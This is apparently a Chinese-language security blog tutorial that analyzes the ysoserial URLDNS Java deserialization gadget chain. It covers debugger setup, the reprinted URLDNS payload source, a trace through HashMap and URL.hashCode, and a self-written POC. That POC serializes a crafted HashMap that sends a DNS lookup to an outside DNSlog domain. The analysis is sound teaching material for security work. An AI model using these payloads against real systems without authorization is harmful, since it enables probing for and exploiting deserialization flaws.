URLDNS
URLDNS
是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞,该利用链有如下特点:
- URLDNS 利用链只能发起DNS请求,并不能进行其他利用
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
可以在ysoserial项目源码里看到URLDNS利用链的源码,地址。也可以扒到本地来再在idea上调试。
idea配置调试ysoserial
先直接在github上下载源码,然后再用idea打开这个项目即可,我用的JDK8,此时pom.xml会报错,此时就点击idea右边的m,如下:

然后将里面所有的配置文件勾选,再点击左上角两个箭头旋转的标识即可。

随后就不会再报错。
此时我们再看pom.xml,来找项目的入口点(就是主类和main函数),如下:

根据这个找到 src/main/java/ysoserial/GeneratePayload.java

点击main函数左边的绿色箭头,点击调试,下面就只会打印usage,如下:

这是因为没加任何参数,所以我们打开Debug Configurations:

再在这里添加参数即可:

我这里是添加的DNS,如下:

然后在URLDNS的getObject()方法加一个断点,再在main函数点击调试就能正常获取值,如下:

可以看出已经正常获取到了值。同理如果想要使用其他诸如CC1之类的链子,就改为 CommomCollections1 'id'
即可。
利用链分析
从主函数开始,在我传入参数后,来调试看一下

可以看到此时payloadType的值为URLDNS,那么我们跟进一下getPayloadClass函数,

可以看出这里使用反射调用了URLDNS类(反射需要注意包的问题),即URLDNS对应的脚本的class对象并将其return。

此时就可以看到 payloadClass 的值为 class ysoserial.payloads.URLDNS
,然后我们继续看后续代码,先是使用newInstance()实例化一个对象,然后再调用对象的getObject() 方法,即脚本URLDNS.java的getObject()方法,CTRL+鼠标左键继续跟进这个方法,可以发现定义的一个接口类,应该是URLDNS中重写了这个方法:

然后继续调试,随后会进入到URLDNS类的getObject()方法,如下:

这里可以看出URLDNS实现了ObjectPayload接口,在这里URLDNS类重写了 getObject() 方法并且此时的url即为我传进去的域名。
先继续看main,在getObject()方法后,会调用serialize()方法,跟进看:

可以看到就是在这里进行了序列化。
现在继续分析URLDNS链,看URLDNS.java源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
|
里面给了URLDNS的利用链:
1
2
3
4
5
6
7
|
/**
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*/
|
这里注意看URLDNS
类的getObject
方法,ysoserial会调用这个方法获得Payload。审这个方法的源码可以发现最后返回的是一个对象,而这个对象就是最后将被序列化的对象,在这里是HashMap
。这里看一下利用的getObject()
方法,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation---在创建有效负载时避免DNS解析
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
|
这个方法的作用是生成一个构造好了的HashMap对象,该HashMap
的键是一个特定的URL
对象。当我们在利用时,即HashMap
被反序列化时,URL
对象会被反序列化并触发DNS请求。 现在来分析一下这个getObject()方法。
对于第一部分的实例化代码:
1
|
URLStreamHandler handler = new SilentURLStreamHandler();
|
其中的URLStreamHandler是一个抽象类,所以不能够被实例化,所以这里在URLDNS.java里创建了一个子类SilentURLStreamHandler,并重写了getHostAddress()方法和openConnection(),如下:
1
2
3
4
5
6
7
8
9
10
11
|
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
|
那么这里为什么要重写这两个方法呢?对于openConnection()方法,应该是因为父类是抽象类并且子类不是抽象的,所以子类必须将接口方法实现。
那么为什么要重写getHostAddress()方法呢,如果将这个重写的方法注释掉,那么当我们生成payload时,就会触发DNS请求,我们来看正常的 getHostAddress() 方法


在这个getHostAddress()方法中,里面的**InetAddress.getByName(host)**方法会去发送请求,所以我们这里重写这个方法,这样在利用这个方法时,不会请求我们的hostAddress。
还有一个重要的点就是在URL.java中,handler被transinet关键字修饰,在序列化对象的时候,handler属性不会被序列化。所以意味着重写的方法并不会带进我们的payload中,这样我们在触发反序列化漏洞时,getHostAddress并没有被重写,能够正常请求我们的网址。这也是我觉得很精妙的一个地方。
(这里只需要了解,具体的请求过程看了后文就清楚了)
现在来看第二部分,也是本篇文章最主要的部分:
1
2
3
4
5
6
7
|
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
|
现在来看HashMap类,实现了Serializable接口,重写了readObject()方法
在之前说过的反序列化的知识点那里可以知道触发反序列化的方法是readObject
,并且因为Java开发者(包括Java内置库的开发者)经常会在这⾥⾯写⾃⼰的逻辑,导致在这里可以构造利⽤链。
现在就看一下HashMap
类的readObject()方法,源代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
|
主要代码为:
1
2
3
4
5
6
7
8
9
10
|
//读取键和值,并将映射放入HashMap中
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
//跟进源码可以看出这里的readObject最终指向的就是ObjectInputStream类的readObject方法,即在这里反序列化,但是在这里只是HashMap类反序的其中一步。
|
理解一下代码,可以看出重点在
1
|
putVal(hash(key), key, value, false, false);
|
这个方法的作用为为添加键值对到哈希表,这里先停一下,现在先来看URLDNS类里面使用的对应的HashMao类的put方法,如下:
我们跟进一下这个put方法的源代码:
1
2
3
|
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
|
可以看到这里的put的内容是差不多的,然后在getObject的put方法下断点,强制步入,可以看到如下结果:

也就是前面反序列化相对应的代码。也就是说,我在HashMap对象中放进的键值对,在反序列化时其实也是调用的同样的代码来放入反序列化得到的HashMap对象中。
然后继续看HashMap
的readObject()
中的putVal()
方法,里面调用了hash()
方法,跟进看一下:
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
简单来说就是判断key是否为null,为Null的话就返回0,否则将对key进行使用hashCode()方法后赋值给h并将这个h进行位移16位的异或操作,应该时甲酸哈希值的操作。
重点就在于这个hashCode()方法,在ysoerial中我们人为地将key改为我们传入的java.net.URL
对象,那么现在来看这个类的hashCode()方法:
1
2
3
4
5
6
7
8
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
//这里需要注意的就是在调用完hashCode()方法后,变量hashCode的值会被改变。
|
此时判断这个hashCode是否为为-1,并且在URL类中的hashCode值默认为-1

这里值为-1,然后继续,当为-1的情况下的handler对象类型为:

所以这里调用的就是URLStreamHandler类的hashCode()方法(这里强调对象与方法的所属关系,后面拉通来讲很有用),所以源代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
//这个方法会发起请求并且计算hashCode的值,所以这里的hashCode会改变
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
|
u就是我们传入的url,在调用getHostAddress
方法时,就会进行DNS查询,方法源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}
|
这里的InetAddress.getByName(host)
的作用是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询。
大致完结,拉通一下,ysoserial链的序列化过程:
- 使用自定义的URLDNS类的getObject()方法获取到payload,重点是getObject方法,下面来说一下方法的流程
- (在这个方法中,在getObject()方法第一行我们定义了handler,并将其自定义的SilentURLStreamHandler类实例化赋值给handler。
- 在第二行我们实例化了一个HashMap类。
- 在第三行实例化了一个URL类,此时URL类中的handler对应的对象为我们自定义的SilentURLStreamHandler类并且注意我们在这个类中重写了getHostAddress()方法
- 在第四行使用了HashMap类的put方法,这个方法的源码在前面说过,本质差不多,大致为
HashMap#putVal()->HashMap#hash->URL#hashCode->handler对象#hashCode
。注意,由于此时的handler为我们重写的类,所以最终会调用我们重写的getHostAddress()方法,但是此时会返回null,所以并不会发起请求。
- 在第五行我们本质上是调用了反射来更改hashCode的值为-1,这是因为我们在前面调用URL#HashCode时会将类里的hashCode改值,这样会导致URL类里面的hashCode值不为-1,所以需要反射改值,这样才能保证在URL类里的hashCode()方法能跳到URLStreamHandler类中。)
- 最终获取到这个payload后会将其序列化,我们只需要将其反序列化即可访问。
这里的流程也基本将前面讲的几个需要注意的点都说明了,这里就不多说了。
反序过程:
- 反序HashMap类,会调用HashMap类的readObject()方法,其实和前面都大差不差。
可以自己编写一个POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
package java_foundation;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.lang.reflect.Field;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URLStreamHandler urlStream = new haha();
URL url = new URL(null,"https://rcpbxasvzr.yutu.eu.org",urlStream);
hashMap.put(url,"fupanc");
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,-1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
class haha extends URLStreamHandler{
protected URLConnection openConnection(URL u){
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
|
成功在DNSlog平台上有回显。
参考文章:
https://blog.csdn.net/qq_48201589/article/details/136049878
https://xz.aliyun.com/t/9417?time__1311=n4%2BxuDgD9AYCqGKDQeDsR32xmrU1bKzte34D&alichlgref=https%3A%2F%2Fcn.bing.com%2F
https://nivi4.notion.site/Java-URLDNS-e9820d5abc6e402abcaf69ef876f74c0